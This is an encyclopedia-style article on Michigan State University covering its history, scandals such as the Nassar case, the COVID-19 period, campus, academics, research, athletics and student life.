After World War II, Hannah began the largest expansion in the institution's history, with the help of the 1945 G.I. Bill, which helped World War II veterans gain college educations. One of Hannah's strategies was to build a new dormitory building, enroll enough students to fill it, and use the income to start construction of another dormitory. Under his plan, enrollment increased from 15,000 in 1950 to 38,000 in 1965. Hannah also got the chance to improve the athletic reputation of M.S.C. when the University of Chicago resigned from the Big Ten Conference in 1946. Hannah lobbied to take its place, gaining admission in 1949. Six years later, in its Centennial year of 1955, the State of Michigan renamed the college as Michigan State University of Agriculture and Applied Science.
During the 1950s, MSU was the "preeminent" example of a group of former agricultural colleges which had already evolved into state colleges and were attempting to become research universities (at the expense of existing flagship institutions). In his memoirs, University of California President Clark Kerr cited this "academic drift" as an example of what he was trying to prevent in California in developing the California Master Plan for Higher Education. In 1957, Hannah continued MSU's expansion by co-founding Michigan State University–Oakland, now Oakland University, with Matilda Dodge Wilson.
In 1964, the State of Michigan allowed the university to drop the words "Agriculture and Applied Science" from its official name. However, it had been unofficially called Michigan State University for some years before. The school's governing body changed its name from the State Board of Agriculture to the MSU Board of Trustees.
Oakland University
In 1957, the donation of in Pontiac Township, Oakland County, Michigan prompted creation of Michigan State University – Oakland. That campus became the independent school Oakland University in 1970.
Global Leadership Initiative, 2012 and Beyond
Since the end of the Hannah era in 1969, Michigan State shifted its focus from increasing the size of its student body to advancing its national and global reputation. In September 2005, President Lou Anna Simon called for MSU to become the global model leader for Land-Grant institutions by 2012. Her plans included creating a new residential college and increased grants awarded from the National Institutes of Health past the US$100 million mark. While there are over 100 Land-grant universities in the United States, she stated she would like Michigan State University to be the leader.
Michigan State, the University of Michigan and Wayne State University created the University Research Corridor in 2006. This alliance was formed to transform and strengthen Michigan's economy by reaching out to businesses, policymakers, innovators, investors and the public to speed up technology transfer, make resources more accessible and attract new jobs to the state.
Agriculture Hall Arson
In a 1999 incident, eco-anarchist activists, including Rod Coronado, burned down part of Agriculture Hall, with four additional suspects being arrested and charged nearly a decade later, in 2008. It was the second case of domestic eco-terrorism at MSU which has resulted in indictments. In 1992, arsonists attacked the offices of two faculty members in Anthony Hall and vandalized campus mink research facilities.
Sexual assault investigation
On May 1, 2014, Michigan State University was named one of fifty five higher education institutions under investigation by the Office of Civil Rights “for possible violations of federal law over the handling of sexual violence and harassment complaints” by President Barack Obama's White House Task Force To Protect Students from Sexual Assault. "The investigation at Michigan State involves its response to sexual harassment and sexual assault complaints involving students," according to one reporter. It was later reported in the same paper that "An investigation by the U.S. Department of Education into how Michigan State University handles sexual assault complaints was spurred by an incident in Wonders Hall in August 2010, a spokesman said."
In 2018, three former Michigan State football players who were charged with sexual assault, Donnie Corley Jr., Demetric Vance and Josh King, plead guilty to seduction. All three were involved in the alleged rape of a woman in a bathroom at an on-campus party in January 2017. As a result of the plea, however, the players were not convicted of the more serious sexual assault charges and only received 36 months probation, but were also ordered to undergo sex offender treatment.
USA Gymnastics sex abuse scandal
In 2016, a police report was filed alleging that in 2000, USA Gymnastics team doctor and MSU sports physician Larry Nassar (also a professor in the MSU College of Human Medicine) had sexually assaulted a minor named Rachael Denhollander under the guise of medical treatment. The allegation and allegations of physical abuse by others led to the arrest and eventual conviction of Nassar. He was sentenced by a federal court in 2017 and by state courts in 2018. Between the police report filing and the time of sentencing, 156 victims including Olympic gymnasts and MSU student athletes came forward to speak of abuses inflicted by Nassar. The Detroit News reported that 14 MSU representatives – including athletic trainers, coaches, a university police detective, and administrators – had possibly been alerted of sexual misconduct by Nassar across two decades, with notification of an incident in 2014 documented by a Title IX investigation. Michigan State and USA Gymnastics have been accused of enabling Nassar's abuse and are named as defendants in civil lawsuits that gymnasts and former MSU student athletes have filed against Nassar. On May 16, 2018, it was announced that Michigan State University had agreed to pay the victims of Nassar $500 million.
MSU's role in the scandal led to the resignation of President Lou Anna Simon in January 2018 due to mounting pressure from the public and alumni, as well as the retirement of athletic director Mark Hollis and gymnastics coach Kathie Klages. In March 2018, William Strampel was arrested and charged with felony misconduct in office and criminal sexual conduct for allegedly groping a student and storing nude photos of female students on his computer. Strampel is the former dean of the College of Osteopathic Medicine and oversaw Larry Nassar's clinic. In August 2018, former coach Klages was charged with two counts of lying to police regarding knowledge of Nassar's sexual abuse. In November 2018, former university president Simon was charged with two felonies and two misdemeanor counts for lying to the police about her knowledge of sexual abuse committed by Nassar. In January 2019, interim president John Engler, who had replaced Simon, resigned after a pattern of controversial comments about the ongoing scandal including that Nassar's victims were "enjoying" the spotlight. In June 2019, former dean Strampel was convicted of one count of felony misconduct in office and two counts of misdemeanor willful neglect of duty. In August he was sentenced to one 11-month term and two one year terms in county jail, with the sentences to run concurrently. In Feb 2020, former coach Klages was found guilty on the charges of lying to police. In May 2020, a judge dismissed the criminal case against former president Simon. In June, the Michigan Attorney General appealed to reinstate the charges.
COVID-19 shutdown
After sending the vast majority of students home and ending in-person classes in March 2020 as the COVID-19 pandemic began to affect Michigan, the smallest number of students in decades returned to campus housing at the outset of the Fall 2020 semester for what MSU President Samuel L. Stanley Jr. said would be an almost fully remote learning school year - the first such arrangement in school history. As of September 2020, the Ingham County Health Department had accused MSU of underreporting COVID-19 cases among students and staff by more than 50 percent. Men's Basketball Coach Tom Izzo recorded a PSA together with President Stanley at the outset of the Fall 2020 semester, encouraging the use of face masks among students to discourage "superspreader" events, such as an off-campus gathering at Harper's Restaurant and Brew Pub which led to exponential infection rates over the summer of 2020. In December 2020, two veterinary students appeared before the MSU Board of Trustees, on behalf of the graduating classes of 2023 and 2024, to request a tuition rebate for months of online instruction after originally expecting a mix of in-person and online courses. President Stanley commented that a refund wouldn't be practical due to the university's fixed costs, and that the change in instruction was "one of the unfortunate casualties of the pandemic."
While in-person classes were increased from roughly 40 in the fall to 400 in the new year, the spring 2021 semester was postponed for one week at the request of state authorities, and spring break was canceled and replaced with "wellness days" to be held on March 2–3 and April 22–23, 2021. On January 30, 2021, MSU instituted its first pandemic lockdown, asking all in-person students to primarily stay in their residences for two weeks, citing a rapid increase in the university's COVID-19 positivity rate. In February 2021, MSU issued back pay to a university MRI technologist who had been given an unpaid suspension in October 2020 for asking a patient to wear a face mask properly.
On June 28, 2021, MSU President Samuel L. Stanley Jr. announced that the university would begin the 2021 fall semester in a nearly typical manner, with residence halls returning to a "fuller capacity," resumption of campus activities, and a majority of classes being held in person. Vaccinated students would no longer be required to quarantine if exposed to COVID‑positive individuals, yet mask mandates would continue to be enforced at university medical facilities and, as required by federal law, on- and off-campus CATA buses. MSU subsequently decided to require COVID-19 vaccination and masking for all new and returning students by August 31, citing new CDC data regarding the contagiousness of the Delta variant.
Campus
MSU's sprawling campus is in East Lansing, Michigan. The campus is perched on the banks of the Red Cedar River. Development of the campus started in 1856 with three buildings: a multipurpose College Hall building, a dormitory later called "Saints' Rest", and a barn. Today, MSU's contiguous campus consists of , of which are developed. There are 563 buildings: 107 for academics, 131 for agriculture, 166 for housing and food service, and 42 for athletics. Overall, the university has of indoor space. Connecting it all is of roads and of sidewalks. MSU also owns 44 non-campus properties, totaling in 28 different counties.
In early 2017, construction of a $22.5 million solar project began at five parking lots on campus. MSU's solar carport array is constructed on five of the university's largest commuter parking lots and covers 5,000 parking spaces. The solar carports are designed to deliver a peak power of 10.5 Megawatts and an annual energy of 15 million kilowatt-hours, which is enough to power approximately 1,800 Michigan homes. The solar carport project was recognized at the Smart Energy Decisions Innovation Summit 2018, earning the Onsite Renewable Energy award for “The Largest Carport Solar Array in North America.”
North campus
The oldest part of campus lies on the Red Cedar river's north bank. It includes Collegiate Gothic architecture, plentiful trees, and curving roads with few straight lines. The college built its first three buildings here, of which none survive. Other historic buildings north of the river include the president's official residence, Cowles House; and Beaumont Tower, a carillon clock tower marking the site of College Hall, the original classroom building. To the east lies Eustace–Cole Hall, America's first freestanding horticulture laboratory. Other landmarks include the bronze statue of former president John A. Hannah, the W. J. Beal Botanical Garden, and the painted boulder known as "The Rock", a popular spot for theatre, tailgating, and candlelight vigils. On the campus's northwest corner is the university's hotel, the Kellogg Hotel and Conference Center. The university also has a museum, initiated in 1857. MSU Museum is one of the Midwest's oldest museums and is accredited by the American Alliance of Museums.
South campus
The campus south of the river consists mostly of post-World War II International Style buildings, and is characterized by sparser foliage, relatively straight roadways, and many parking lots. The "2020 Vision" Master Plan proposes replacing these parking lots with parking ramps and green space, but these plans will take many years to reach fruition. As part of the master plan, the university erected a new bronze statue of The Spartan in 2005 to be placed at the intersection of Chestnut and Kalamazoo, just south of the Red Cedar River. This replica replaced the original modernist terra cotta statue, which can still be seen inside Spartan Stadium. Notable academic and research buildings on the South Campus include the Cyclotron, the College of Law, the Facility for Rare Isotope Beams (FRIB), Interdisciplinary Science and Technology Building, and the Broad College of Business.
This part of campus is home to the MSU Horticulture Gardens and the adjoining 4-H Children's Garden. South of the gardens lie the Canadian National and CSX railroads, which divide the main campus from thousands of acres of university-owned farmland. The university's agricultural facilities include the Horse, Dairy Cattle, Beef Cattle, Swine, Sheep, and Poultry Teaching and Research Farms, as well as the Air Quality Control Lab and the Veterinary Diagnostic Laboratory.
Kellogg Hotel and Conference Center
The Kellogg Hotel and Conference Center doubles as a 4-star hotel and a business-friendly conference center. It is on the northwest corner of Michigan State University's campus, across from the Brody Complex, on Harrison Road just south of Michigan Avenue. The hotel's 160 rooms and suites can accommodate anyone staying in East Lansing for a business conference, sporting event or an on-campus visit. Besides a lodging facility, the Kellogg Hotel and Conference Center is a "learning laboratory for the 300–400 students each year that are enrolled in The School of Hospitality Business and other majors." The Kellogg Hotel and Conference Center strives to facilitate education by hosting conferences and seminars.
Dubai campus
MSU ran a small campus at Dubai Knowledge Village, Dubai, United Arab Emirates. It first offered only one program, a master's program in human resources and labor relations. In 2011, it added a master's program in Public Health.
Previously, MSU established an education center in Dubai that offered six undergraduate programs, thereby becoming the first American university with a presence in Dubai International Academic City. The university attracted 100 students in 2007, its first year, but the school was unable to achieve the 100–150 new students per year needed for the program to be viable, and in 2010 MSU closed the program and the campus.Andrew Mills "Low Enrollment Led Michigan State U. to Cancel Most Programs in Dubai" The Chronicle of Higher Education July 6, 2010
Academics
Admissions
Michigan State offers a rolling admissions system, with an early admission deadline in October. MSU is considered "more selective" by U.S. News & World Report. For the Class of 2023 (enrolling Fall 2019), MSU received 44,322 applications and accepted 31,522 (71.1%), with 8,801 enrolling. The middle 50% range of SAT scores for enrolling freshmen was 550-650 for reading and writing, and 550-670 for math. The middle 50% ACT composite score range was 23–29. The average high school grade point average (GPA) was 3.75.
MSU tied for 10th place among universities with the largest student enrollment in the U.S. for fall 2018. For the fiscal year of 2018–19, the Office of the Registrar conferred 12,354 degrees. The student body is 52% female and 48% male. While 75.1% of students come from all 83 counties in the State of Michigan, also represented are all 50 states in the U.S. and 138 other countries.
In Fall 2019, 5,660 international students enrolled at MSU, with the top five countries outside North America being China (2,965), India (506), South Korea (331), Saudi Arabia (222) and Taiwan (144). According to a Brookings Institution report analyzing foreign student visa approvals from 2008 to 2012, MSU once enrolled the highest number of Chinese international students in the United States, with roughly 4,700 Chinese citizens enrolled during the period of the study. MSU later saw decreased Chinese enrollment and lost its status as the top destination of Chinese students, which former Michigan Department of Education head Tom Watkins attributed to a ramp-up in anti-China rhetoric by then-President Donald Trump and changes in Chinese domestic conditions.
MSU has about 5,703 faculty and 7,365 staff members. Listed as a Public Ivy, Michigan State is a member of the Association of American Universities. Michigan State University Ombudsman is the longest continually operating ombudsman office at a college or university in the country. MSU's study abroad program is amongst the 10 largest of any single-campus university in the United States with 2,755 MSU students studying abroad in 2017–18 in over 60 countries on all continents, including Antarctica.
Rankings
In its 2022 rankings, Times Higher Education World University Rankings ranked MSU 93rd in the world. Michigan State ranks 101–150 in the world for 2021, according to the Academic Ranking of World Universities. The 2021 QS World University Rankings placed it at 157th internationally. In its 2022 edition, U.S. News & World Report ranked it as tied for the 33rd best public university in the United States, tied for 83rd nationally and tied for 46th among best universities for veterans.
The university has over 200 academic programs. U.S. News ranked MSU's graduate-level programs first in elementary teacher's education and secondary teacher's education for 26 straight years, African history (tied), curriculum and instruction (tied), industrial and organizational psychology, nuclear physics, rehabilitation counseling (tied), and supply chain logistics in the U.S. for 2020.
The Eli Broad College of Business was ranked No. 39th nationally for 2019-20 by Bloomberg Businessweek. Ninety-two percent of the school's graduates received job offers in 2019. The latest edition of U.S. News ranked Michigan State's undergraduate and graduate supply chain management/logistics programs in the Eli Broad College of Business 1st in the nation. In addition, the Eli Broad College of Business undergraduate accounting program is ranked 22nd, the master's accounting program is ranked 15th, and the doctoral program is ranked 18th, according to the 2018 Public Accounting Reports Annual Survey of Accounting Professors. The MBA program is ranked 27th in the U.S. by Forbes magazine.
The College of Communication Arts and Sciences was established in 1955 and was the first of its kind in the United States. The college's Media and Information Studies doctoral program was ranked No. 2 in 2007 by The Chronicle of Higher Education in the category of mass communication. The communication doctoral program was ranked No. 4 in a separate category of communication in The Chronicle of Higher Educations 2005 Faculty Scholarly Productivity Index, published in 2007. The college's faculty and alumni include eight Pulitzer Prize winners and a two-time Emmy Award winning recording mixer.
Collections and museum
The Eli and Edythe Broad Art Museum is the university's contemporary art museum. Michigan State University Libraries comprise North America's 29th largest academic library system with over 4.9 million volumes and 6.7 million microforms.
Research
The university has a long history of academic research and innovation. In 1877, botany professor William J. Beal performed the first documented genetic crosses to produce hybrid corn, which led to increased yields. MSU dairy professor G. Malcolm Trout improved the process for the homogenization of milk in the 1930s, making it more commercially viable. In the 1960s, MSU scientists developed cisplatin, a leading cancer fighting drug, and followed that work with the derivative, carboplatin. Albert Fert, an Adjunct professor at MSU, was awarded the 2007 Nobel Prize in Physics together with Peter Grünberg.
Today, Michigan State continues its research with facilities such as the U.S. Department of Energy-sponsored MSU-DOE Plant Research Laboratory and a particle accelerator called the National Superconducting Cyclotron Laboratory. The U.S. Department of Energy Office of Science named Michigan State University as the site for the Facility for Rare Isotope Beams (FRIB). The $730 million facility will attract top researchers from around the world to conduct experiments in basic nuclear science, astrophysics, and applications of isotopes to other fields.
In 2004, scientists at the Cyclotron produced and observed a new isotope of the element germanium, called Ge-60 In that same year, Michigan State, in consortium with the University of North Carolina at Chapel Hill and the government of Brazil, broke ground on the 4.1-meter Southern Astrophysical Research Telescope (SOAR) in the Andes Mountains of Chile. The consortium telescope will allow the Physics & Astronomy department to study galaxy formation and origins. Since 1999, MSU has been part of a consortium called the Michigan Life Sciences Corridor, which aims to develop biotechnology research in the State of Michigan. Finally, the College of Communication Arts and Sciences' Quello Center researches issues of information and communication management.
Endowment
MSU's (private, non-Morrill Act) endowment started in 1916 when the Engineering Building burned down. Automobile magnate R.E. Olds helped the program stay afloat with a gift of $100,000. There was a time when MSU lagged behind peer institutions in terms of endowments. As recently as the early 1990s, MSU was last among the eleven Big Ten schools (of the time), with barely over $100 million in endowment funds.
This changed dramatically in the 2000s (decade), when the university started a campaign to increase the size of the endowment. At the close of fiscal year 2004–2005, the endowment had risen to $1.325 billion, raising the university to sixth of the 11 Big Ten schools in terms of endowment; within $2 million of the fifth-rated school.
Colleges
MSU has over 200 academic programs offered by 17 degree-granting colleges.
Residential colleges
MSU has several residential colleges, based on the Oxbridge "living-learning" model. By putting classes in student dormitories, these colleges improve student access to faculty and facilities. MSU's first residential college, Justin Morrill College started in 1965 with an interdisciplinary curriculum. MSU closed Morrill College in 1979, but today the university has three residential colleges, including the recent opening of the Residential College in Arts & Humanities (RCAH) located in Snyder and Phillips halls.
Established in 1967, James Madison College is a smaller component residential college featuring multidisciplinary programs in the social sciences, founded on a model of liberal education. James Madison College is housed in Case Hall. Classes in the college are small, with an average of 25 students, and most instructors are tenure track faculty. James Madison College has about 1150 students total, with each freshman class containing about 320 students. Each of Madison's four majors—Social Relations and Policy, International Relations, Political Theory and Constitutional Democracy, and Comparative Cultures and Politics—requires two years of foreign language and one semester of "field experience" in an internship or study abroad program. Although Madison students make up about 4% of MSU graduates, they represent around 35% of the MSU's Phi Beta Kappa members.
Also established in 1967, Lyman Briggs College teaches math and science within social, historical and philosophical contexts. Many Lyman Briggs students intend to pursue careers in medicine, but the school supports over 30 coordinate majors, from human biology to computer sciences. Lyman Briggs is one of the few colleges that lets undergraduates teach as "Learning Assistants."
MSU's newest residential college is the Residential College in Arts & Humanities. Founded October 21, 2005, the college provides around 600 undergraduates with an individualized curriculum in the liberal, visual and performing arts. Though all the students will graduate with the same degree, MSU encourages students in the college to get a second degree or specialization. The university houses the new college in a newly renovated Snyder-Phillips Hall, the location of MSU's first residential college, Justin Morrill College.
Professional schools
Founded in Detroit in 1891 as the Detroit College of Law, the law school moved to East Lansing in 1995, becoming Michigan State University College of Law. Students attending MSU College of Law come from 42 states and 13 countries. The law school publishes the Michigan State Law Review, the Michigan State Journal of International Law, the Journal of Medicine Law, and the Journal of Business & Securities Law. The College of Law is the home of the Geoffrey Fieger Trial Practice Institute, the first trial practice institute in the United States. In October 2018, MSU's Board of Trustees voted to fully integrate the College of Law into the university, thereby converting it from a private to a public law school. In August 2020, the College of Law fully integrated into the university.
The Eli Broad College of Business has programs in accounting, information systems, finance, general management, human resource management, marketing, supply chain management, and hospitality business. The school has 2,066 admitted undergraduate students and 817 graduate students. The Eli Broad Graduate School of Management, which Businessweek magazine in 2012 ranked 35th in the nation and 14th among public institutions, offers three MBA programs, as well as joint degrees with the College of Law. The opening of the Eugene C. Eppley Center for Graduate Studies in Hotel, Restaurant and Institutional Management brought the first program in the United States to offer a Master of Business Administration degree in Hotel, Restaurant and Institutional Management to MSU.
The Michigan State University College of Nursing grants B.S.N., M.S.N., Doctor of Nursing Practice (DNP) and PhD degrees, as well as post-graduate certificates. It was founded in 1950 and has trained more than 6,000 nurses. The college's mission focuses on research, education and practice, and it is housed in the Life Sciences Building and Bott Building for Nursing Education and Research on the southeastern part of campus. The dean of the college, Randolph Rasch, was appointed to a statewide task force in 2020 by the governor to help establish an implicit bias training initiative for all health care workers in the state.
The Michigan State University College of Osteopathic Medicine was the world's first publicly funded college of osteopathic medicine. It has a long-standing tradition of retaining its alumni in Michigan to practice – more than two-thirds of the college's graduates remain to practice in Michigan. In 2008, the Michigan State University Board of Trustees approved a resolution endorsing the expansion of the College of Osteopathic Medicine to two sites in southeast Michigan, a move board members and college officials say will not only improve medical education in the state, but also address a projected physician shortage.
According to U.S. News & World Report 2016 rankings, the College of Osteopathic Medicine (D.O. degree) ranked tied for 12th among U.S. medical schools for primary care, and the College of Human Medicine (MD degree) was ranked 70th among the U.S. medical schools for primary care.
The College of Human Medicine graduates students with a Doctor of Medicine (M.D. degree) and is split into seven distinct campuses located in East Lansing, Kalamazoo, Flint, Saginaw, Marquette, Traverse City and Grand Rapids. Each campus is affiliated with local hospitals and other medical facilities professionals in the area. For example, the Lansing campus includes Sparrow Hospital and McLaren–Greater Lansing Hospital. The College of Human Medicine has recently gained attention for its expansion into the Grand Rapids area, with the new Secchia Center completed in the Fall of 2010, that is expected to fuel the growing medical industry in that region.
Though Michigan State has offered courses in veterinary science since its founding, the College of Veterinary Medicine was not formally established as a four-year, degree-granting program until 1910. In 2011, the Michigan State University College of Veterinary Medicine was ranked No. 9 in the nation. The college has over of office, teaching, and research space, as well as a veterinary teaching hospital.
Other academic units
In recent years, MSU's music program has grown substantially. Music major enrollment increased more than 97% between 1991 and 2004. In early 2007, this growth led the university board of trustees to spin the music program off into its own college unit: The MSU College of Music. The new college faces many new challenges, such as working with limited space and funding. Nevertheless, MSU's music college plans on continued success, placing an annual average of 25 graduate students in tenure stream university positions.
The College of Education at Michigan State University offers graduate and undergraduate degrees in several fields, including counseling, educational psychology, special education, teacher education and kinesiology. The graduate school has several programs ranked in the top five in the country by U.S. News & World Report for 2016: elementary teacher education (1st), secondary teacher education (1st), curriculum and instruction (3rd), educational psychology (4th), and higher education administration (4th). The College of Education is housed in Erickson Hall.
Founded in 1956, the MSU Honors College provides individualized curricula to MSU's top undergraduate students. Though the college offers no majors of its own, it has its own dean and academic advisers to help Honors students with their educational pursuits.
High school students starting at MSU may join the Honors College if they are in the top 5% of their high school graduating class and have an ACT score of at least 30 or an SAT total score of at least 1360. Students can also be admitted after their first semester, generally if they're in the top 10% of their College in GPA. Once admitted, students must maintain a 3.20 GPA and complete eight approved honors courses to graduate with Honors College designation on their degree. If membership is relinquished, it cannot be reclaimed.
After three years of planning, The College of Engineering launched the first stages of its Residential Experience for Spartan Engineering, formally known as the Residential Option for Scientists and Engineers (ROSES), the new program is in Wilson Hall after being housed in Bailey Hall for a number of years. The Residential program essentially combines with a brand new academic component, Cornerstone Engineering, where freshman engineering students not only get an overview of the engineering field(s) but get a hands-on experience along with it. Global Engineering is a new subject that is of interest for not only the Cornerstone Engineering and Residential Experience programs but the entire College of Engineering at MSU. Engineering in today's society has shown to have a monumental impact on the global economy due to advancements in education, interdependence on economics with infrastructure, computers, transportation, technology and other manufactured goods as well as Michigan State University's study-abroad program being ranked No. 1 in the nation, allowing for students to experience education and learn cultures in hundreds of countries. The newly established Cornerstone Engineering and Residential Experience programs for College of Engineering have started programs abroad for more courses in engineering including Study abroad seminars. In 2014, the Detroit Free Press reported on a MSU study which ranked engineering among the top 20 college degrees with the highest starting salaries.
MSU offers a 30 credit graduate program for Masters in Educational Technology in 3 different formats; completely online, hybrid in East Lansing, Michigan, or overseas.
Athletics
Michigan State's NCAA Division I-A program offers 12 varsity sports for men and 13 for women. Since their teams are called the Spartans, MSU's mascot is a Spartan warrior named Sparty. The university participates in the Big Ten Conference in all varsity sports, including the new Big Ten hockey conference, featuring 6 teams. The current athletic director is Bill Beekman who replaced Mark Hollis. Bill Beekman officially assumed the role of MSU's 19th athletic director on July 17, 2018. He was appointed interim athletic director on February 5, 2018, before taking over the position full-time on July 17, 2018.
Hollis was promoted to the position on January 1, 2008. Hollis replaced Ron Mason, who served as head hockey coach from 1979 to 2002, retiring with a record total of 924 wins, and a 635–270–69 record at MSU.
In 1888 Michigan State University (then known as Michigan Agricultural College) along with Olivet, Albion and Hillsdale Colleges was a founding member of the nation's oldest athletic conference, the Michigan Intercollegiate Athletic Association (MIAA). MAC left the conference in 1907.
Football
Football has a long tradition at Michigan State. Starting as a club sport in 1884, football gained varsity status in 1896. MSU football teams won the Rose Bowl in 1954, 1956, 1988, and 2014. They won national championships in 1951, 1952, 1955, 1957, 1965 and 1966. The Spartans accounted for four of the top eight selections in the 1967 NFL Draft, the only time a college football program has accomplished such a feat. As of 2020, MSU is one of only four schools to have at least 1 player selected in every NFL Draft in the common draft era, starting in 1967.
Today, the football team competes in Spartan Stadium, a renovated 75,005 seat football stadium near the center of campus. The current coach is Mel Tucker, the new head coach after Mark Dantonio left.
Mark Dantonio led the team in its first season to a 7–6 record. In 2010, the Spartans finished 11–2 (7–1 in conference play) and were Co-Big Ten Champion along with Wisconsin and Ohio State. In 2011, the Spartans finished 1st in the Legends Division of the Big Ten with a 7–1 (11–3) conference record, logging back-to-back 11 win seasons for the first time in Spartan history. In 2014, MSU achieved an 11–2 overall record with losses only to the University of Oregon Ducks and The Ohio State Buckeyes, and ended the season ranked number 5.
MSU's traditional archrival is the University of Michigan, against whom they compete annually for the Paul Bunyan Trophy. Their overall record against the Wolverines currently stands at 32–67–5 and 23–34–2 since 1953 when the Paul Bunyan Trophy was established and MSU joined the Big Ten Conference.
Men's basketball
MSU's men's basketball team has won the National Championship twice: in 1979 and again in 2000. In 1979, Earvin "Magic" Johnson, along with Greg Kelser and Jay Vincent led MSU to a 75–64 win against the Larry Bird-led Indiana State Sycamores in the Championship game. In 2000, three players from Flint, Morris Peterson, Charlie Bell and Mateen Cleaves, led the team to its second national title. Dubbed the "Flintstones", they were the key to the Spartans' victory over Florida in the Championship game. In 2009 the Spartans made it to the National Championship game before losing 89–72 to North Carolina.
The basketball team plays at the Jack Breslin Student Events Center under head coach Tom Izzo, who has a 603–231 record as of March 22, 2019 ( .723 winning percentage). The student spirit section at Breslin is called the Izzone. Izzo's coaching has helped the team make seven Final Fours since 1999, winning the title in 2000, and 23 consecutive NCAA tournament appearances (beginning in 1998).
On December 13, 2003, Michigan State and Kentucky played in the Basketbowl, in which a record crowd of 78,129 watched the game in Detroit's Ford Field. Kentucky won 79–74.
On March 11, 2021, Michigan State announced that the men's basketball team would be known as "MSU Spartans Presented by Rocket Mortgage" The next day, Michigan State issued a clarification stating that it was not renaming its basketball team. The announcement and clarification were discussed on national sports programs and commentaries were published on news and sports sites.
Men's ice hockey
The Michigan State University men's ice hockey team started in 1924, though it has been a varsity sport only since 1950. The team has since won national titles in 1966, 1986 and 2007. The Spartans came close to repeating the national title in 1987, but lost the championship game to the University of North Dakota. They play at MSU's Munn Ice Arena. Former head coach Ron Mason is college hockey's winningest coach with 924 wins total and 635 at MSU. The current head coach is Danton Cole. The MSU men's ice hockey team competes in the Big Ten conference. They formerly competed in the Central Collegiate Hockey Association. Michigan State leads the CCHA in all-time wins, is second in CCHA Conference championships with 7, and is first in CCHA Tournament Championships with 11. Along with the University of Michigan (U-M) and the Ohio State University, it was one of three Big Ten schools in the CCHA. As with other sports, the hockey rivalry between MSU and U-M is a fierce one, and on October 6, 2001, MSU faced U-M in the Cold War, during which a world record crowd of 74,554 packed Spartan Stadium to watch the game end in a 3–3 tie.
In the 2006–2007 season, the Men's Ice Hockey team defeated Boston College for its third NCAA hockey championship.
Men's cross country
Between World War I and World War II, Michigan State College competed in the Central Collegiate Conference, winning titles in 1926–1929, 1932, 1933 and 1935. Michigan State also experienced success in the IC4A, at New York's Van Cortlandt Park, winning 15 team titles (1933–1937, 1949, 1953, 1956–1960, 1962, 1963 and 1968). Since entering the Big Ten in 1950, Michigan State has won 14 men's team titles (1951–1953, 1955–1960, 1962, 1963, 1968, 1970 and 1971). Michigan State hosted the inaugural NCAA cross country championships in 1938 and every year thereafter through 1964 (there was no championship in 1943). The Spartans won NCAA championships in 1939, 1948, 1949, 1952, 1955, 1956, 1958 and 1959.Erickson, C. (2007). 2007–2008 Michigan State Cross Country and Track and Field Media Guide. East Lansing: MSU Sports Information Office.
Wrestling
MSU Spartan Wrestling won their only team NCAA Championship in 1967. The current Spartans Head coach is Roger Chandler in his 2nd season. The team competes on campus at the Jenison Field House. Spartan Wrestling has over 50 Big Ten Conference Champions, over 100 All-Americans, and 11 individual wrestlers have NCAA Division I Wrestling Championships. Notable former Spartan wrestlers include Rashad Evans and Gray Maynard.
Student life
East Lansing is very much a college town, with 63.5% of the population between the ages of 15 and 24. President John A. Hannah's push to expand in the 1950s and 1960s resulted in the largest residence hall system in the United States. Around 16,000 students live in MSU's 23 undergraduate halls, one graduate hall, and three apartment villages. Each residence hall has its own hall government, with representatives in the Residence Halls Association. Yet despite the size and extent of on-campus housing, the residence halls are complemented by a variety of housing options. 58% of students live off-campus, mostly in the areas closest to campus, in either apartment buildings, former single-family homes, fraternity and sorority houses, or in a co-op.
In 2014 there were approximately 50,085 students, 38,786 undergraduate and 11,299 graduate and professional. The students are from all 50 states and 130 countries around the world.
Greek life
With over 3,000 members, Michigan State University's Greek Community is one of the largest in the US. Started in 1872 and re-established in 1922 by Lambda Chi Alpha fraternity, Alpha Gamma Rho fraternity, and Alpha Phi sorority; the MSU Greek system now consists of 55 Greek lettered student societies. These chapters are in turn under the jurisdiction of one of MSU's four Greek governing councils: National Panhellenic Conference, North American Interfraternity Council, National Pan-Hellenic Council, and Independent Greek Council. National Pan-Hellenic Council is made up of 9 organizations, 5 Fraternities and 4 Sororities, that were founded on Historically Black College and Universities (HBCU's). The Interfraternity Council and the Women's Panhellenic Council are each entirely responsible for their own budgets, giving them the freedom to hold large fundraising and recruitment events. MSU's fraternities and sororities hold many philanthropy events and community fundraisers. For example, in April 2011 the Greek Community held Greek Week to raise over $260,000 for the American Cancer Society, and $5,000 for each of these charities: Big Brothers Big Sisters, The Listening Ear and previous charities include: the Make-a-Wish Foundation (MSU Chapter), Share Laura's Hope, The Mary Beth Knox Scholarship, and the Special Olympics, in which fraternity and sorority members get to help each other participate.
Student organizations
The Associated Students of Michigan State University (ASMSU) is the all-university undergraduate student government of Michigan State University. It was unusual among university student governments for its decentralized bicameral structure, and the relatively non-existent influence of the Greek system. The structure has since changed to a single General Assembly as part of reorganization in the late 2000s. ASMSU representatives are nonpartisan and many are elected in noncompetitive races. Their mission is to enhance the individual and collective student experience through education, empowerment, and advocacy by education to the needs and interest of students. Some services they offer include: free blue books, low cost copies and printing, free yearbooks, interest free loans, funding for student organizations, free legal consultation, and iClicker and graphing calculator rentals.
Students pay $21 per semester to fund the functions of the ASMSU, including stipends for the organization's officers and activities throughout the year. Some students have criticized ASMSU for not having enough electoral participation to gain a student mandate. Turnout since 2001 has hovered between 3 and 17 percent, with the 2006 election bringing out 8% of the undergraduate student body.
Student-run organizations beyond student government also have a large impact on the East Lansing/Michigan State University community. Student Organizations are registered through the Department of Student Life, which currently has a registry of over 800 student organizations.
The Eli Broad College of Business includes 27 student organizations of primary interest to business students. The three largest organizations are the Finance Association (FA), the Accounting Student Association (ASA), and the Supply Chain Management Association (SCMA). The SCMA is the host of the university's largest major specific career fair. The fair attracts over 100 companies and over 400 students each year.
Activism
Activists have played a significant role in MSU history. During the height of the Vietnam War, student protests helped create co-ed residence halls, and blocked the routing of Interstate 496 through campus. In the 1980s, Michigan State students convinced the university to divest the stocks of companies doing business in apartheid South Africa from its endowment portfolio, such as Coca-Cola. MSU has many student groups focused on political change. Graduate campus groups include the Graduate Employees Union and the Council of Graduate Students.
Sustainability
The MSU Office of Sustainability works with the University Committee for a Sustainable Campus to "foster a collaborative learning culture that leads the community to heightened awareness of its environmental impact." The university is a member of the Chicago Climate Exchange, the world's first greenhouse gas emission registry, and boasts the lowest electrical consumption per square foot among Big Ten universities. The university has set a goal of reducing energy use by 15%, reducing greenhouse gas emissions by 15%, reducing landfill waste by 30% by 2015.
